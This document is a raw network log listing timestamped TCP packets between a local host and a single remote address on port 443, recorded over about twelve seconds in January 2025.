Jan 9, 2025 08:30:55.576777935 CET	443	50256	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.576816082 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.580080032 CET	50256	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.741090059 CET	50257	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.741111040 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:55.741175890 CET	50257	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.741592884 CET	50257	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:55.741606951 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.211262941 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.212883949 CET	50257	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.212898970 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.345408916 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.345463991 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.345493078 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.345519066 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.345606089 CET	443	50257	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.345768929 CET	50257	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.347476959 CET	50257	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.347495079 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.347548008 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.349786997 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.353678942 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.353698969 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.836337090 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.838294983 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.838310003 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.983551979 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.983612061 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.983643055 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.983670950 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.983674049 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.983690023 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.983707905 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.983768940 CET	443	50258	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.983808994 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.985650063 CET	50258	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.986696959 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.986746073 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:56.986841917 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.987154007 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:56.987166882 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.447196960 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.448928118 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.448959112 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.577805996 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.577857018 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.577899933 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.577909946 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.577928066 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.577940941 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.577986002 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.578005075 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.578049898 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.578059912 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.578072071 CET	443	50259	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.578109980 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.578788042 CET	50259	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.579982996 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.580023050 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:57.580094099 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.580343008 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:57.580373049 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.107001066 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.108931065 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.108954906 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.301040888 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.301084995 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.301464081 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.301486015 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.305491924 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.305516005 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.305560112 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.305567026 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.305588007 CET	443	50260	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.309662104 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.316097021 CET	50260	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.376321077 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.376373053 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.376477957 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.385469913 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.385498047 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.860467911 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.862247944 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.862279892 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.984802008 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.984848022 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.984873056 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.984899998 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.984904051 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.984935045 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.984957933 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.985013008 CET	443	50261	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.985048056 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.986174107 CET	50261	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.987617970 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.987654924 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:58.987715960 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.988111019 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:58.988123894 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.458559036 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.462354898 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.462388992 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.594492912 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.594543934 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.594578028 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.594608068 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.594643116 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.594672918 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.594690084 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.594722986 CET	443	50262	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.594774961 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.595565081 CET	50262	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.596587896 CET	50263	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.596663952 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:59.596739054 CET	50263	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.596963882 CET	50263	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:59.596982002 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.081588030 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.083523035 CET	50263	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.083558083 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.229387999 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.229429960 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.229450941 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.229481936 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.229485035 CET	50263	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.229512930 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.229589939 CET	443	50263	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.229856014 CET	50263	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.231412888 CET	50263	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.231420040 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.231472969 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.231575966 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.231861115 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.231868982 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.685228109 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.687500954 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.687541008 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.826107979 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.826162100 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.826189041 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.826215029 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.826241016 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.826258898 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.826289892 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.826397896 CET	443	50264	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.826476097 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.828010082 CET	50264	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.828015089 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.828062057 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:00.829509020 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.829905033 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:00.829917908 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.304405928 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.306981087 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.307008028 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.423980951 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424027920 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424057961 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424062014 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.424083948 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424112082 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424120903 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.424128056 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424165010 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.424170017 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424190998 CET	443	50265	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.424230099 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.425283909 CET	50265	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.426597118 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.426656008 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.426738977 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.427366018 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.427377939 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.883368969 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:01.887013912 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:01.887043953 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.014413118 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.014457941 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.014486074 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.014511108 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.014525890 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.014563084 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.014589071 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.014621973 CET	443	50266	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.017505884 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.017855883 CET	50266	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.020090103 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.020143032 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.020247936 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.020550966 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.020565987 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.503376007 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.505378008 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.505404949 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.652328014 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.652390003 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.652416945 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.652443886 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.652507067 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.652508020 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.652525902 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.652729988 CET	443	50267	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.652827978 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.654403925 CET	50267	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.654472113 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.654514074 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:02.654671907 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.655478954 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:02.655493021 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.114475965 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.117131948 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.117166042 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.231930971 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.231976986 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.232012033 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.232019901 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.232039928 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.232067108 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.232084036 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.232090950 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.232125998 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.232131004 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.232145071 CET	443	50268	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.232183933 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.233316898 CET	50268	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.234721899 CET	50269	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.234771013 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.234833002 CET	50269	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.235165119 CET	50269	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.235178947 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.699630022 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.703212023 CET	50269	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.703237057 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.829092979 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.829138041 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.829171896 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.829195976 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.829298973 CET	443	50269	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.829335928 CET	50269	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.829381943 CET	50269	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.830281973 CET	50269	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.831310987 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.831356049 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:03.831434011 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.831686974 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:03.831701994 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.305263042 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.313467979 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.313494921 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.449800968 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.449841976 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.449877024 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.449904919 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.449989080 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.449990988 CET	443	50270	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.449990034 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.453540087 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.454888105 CET	50270	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.454889059 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.454932928 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.455147028 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.457464933 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.457479000 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.918989897 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:04.920563936 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:04.920593023 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.044667959 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.044714928 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.044742107 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.044768095 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.044796944 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.044836998 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.044847965 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.044954062 CET	443	50271	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.044996977 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.046020031 CET	50271	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.047496080 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.047533035 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.047595024 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.047934055 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.047944069 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.530819893 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.534070015 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.534089088 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677494049 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677603960 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677632093 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677649975 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.677659988 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677671909 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677723885 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.677740097 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677763939 CET	443	50272	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.677778006 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.677804947 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.750193119 CET	50272	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.849457979 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.849489927 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:05.849561930 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.849936008 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:05.849951029 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.308024883 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.309870958 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.309906006 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.451126099 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.451175928 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.451203108 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.451234102 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.451232910 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.451267958 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.451365948 CET	443	50273	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.451395035 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.451833010 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.452406883 CET	50273	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.456460953 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.456499100 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.457031965 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.457314968 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.457333088 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.948678017 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:06.951159954 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:06.951169968 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.081974030 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082027912 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082060099 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082065105 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.082087994 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082113981 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082129955 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.082138062 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082170010 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.082175970 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082194090 CET	443	50274	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.082237959 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.083678961 CET	50274	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.085155010 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.085195065 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.085252047 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.085557938 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.085578918 CET	443	50275	188.114.96.3	192.168.2.4
